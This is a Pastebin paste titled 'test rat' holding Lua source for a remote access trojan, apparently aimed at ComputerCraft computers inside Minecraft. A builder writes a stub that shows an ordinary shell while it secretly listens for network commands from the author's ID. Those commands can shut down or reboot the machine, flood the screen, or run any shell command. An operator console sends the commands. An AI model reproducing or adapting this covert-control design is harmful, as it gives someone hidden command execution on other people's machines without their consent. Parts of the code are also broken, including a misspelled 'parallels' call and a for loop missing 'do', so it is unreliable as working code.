xXm0dzXx

test rat

Nov 10th, 2012
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. local stub = [[
  2.  
  3. function a()
  4. term.clear()
  5. term.setCursorPos(1,1)
  6. shell.run("shell")
  7. end
  8.  
  9. function b()
  10. while true do
  11. from, message = rednet.receive()
  12.  
  13. if from == id then
  14. if message == "cmd:shutdown" then
  15. os.shutdown()
  16. elseif message == "cmd:reboot" then
  17. os.reboot()
  18. elseif message == "cmd:clear" then
  19. term.clear()
  20. term.setCursorPos(1,1)
  21. elseif message == "cmd:annoying" then
  22. while true do
  23. for i=1,30
  24. xxx, yyy = term.getSize()
  25. term.setCursorPos( math.random( xxx ), math.random( yyy ) )
  26. write( math.random( 999 ) )
  27. end
  28.  
  29. sleep(0)
  30. end
  31. elseif string.sub( message, 1, 4 ) == "run:" then
  32. shell.run( string.sub( message, 5, #message ) )
  33. end
  34. end
  35. end
  36. end
  37.  
  38. parallels.waitForAny( a,b )
  39. ]]
  40.  
  41. print("Type 1 to generate a stub, press 2 to run commands.")
  42. local input = read()
  43. if input == "1" then
  44. fs.delete("stub")
  45. file = fs.open("stub", "w")
  46. file.write( "id = " ..os.getComputerID().. "\n" )
  47. file.write( stub )
  48. file.close()
  49. print("Saved as /stub")
  50. elseif input == "2" then
  51. write("ID: ")
  52. local id = tonumber(read())
  53. term.clear()
  54. term.setCursorPos(1,1)
  55. while true do
  56. print("Console:")
  57. write("Command: ")
  58. rednet.send( id, read() )
  59. end
  60. end
Advertisement
Add Comment
Please, Sign In to add comment